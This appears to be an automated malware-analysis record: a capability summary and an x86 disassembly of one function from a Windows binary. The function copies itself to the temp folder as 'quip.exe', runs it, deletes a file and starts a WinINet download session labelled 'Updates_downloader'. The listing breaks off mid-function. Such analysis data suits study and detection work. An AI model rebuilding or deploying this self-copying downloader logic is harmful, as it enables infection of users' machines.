Function at 0x401020
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x401042
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov edi, 0x2000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 8
push eax
mov dword [ebp - 0x14], eax
call ebx
push edi
push 8
push dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
call ebx
push edi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 4]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.quip.exe
push dword [ebp - 4]
push 0x402088
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x4010c8
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x18], eax
call edi
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 0x14]
call ebx
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x40103a
push esi
lea ecx, [ebp - 0x1c]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011b1
push dword [ebp - 0xc]
call edi
mov ebx, dword [ebp - 0x18]
lea eax, [eax + eax + 2]
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, ebx
push eax
call fcn.00401000
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x4010c0
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0xc]
call edi
lea eax, [ebx + eax*2 + 4]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push dword [ebp - 0xc]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push dword [ebp - 0xc]
push esi
push dword [ebp - 4]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x40103c
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0x3c]
push dword [ebp - 8]
add eax, ecx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], esi
jmp 0x4011ea
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x4e20
jg 0x4011f5
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4011de
push esi
push esi
push esi
push esi
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x4010c0
mov edi, dword [sym.imp.WININET.dll_InternetConnectW]
push esi
push esi
push 3
push esi
push esi
jmp 0x4060c8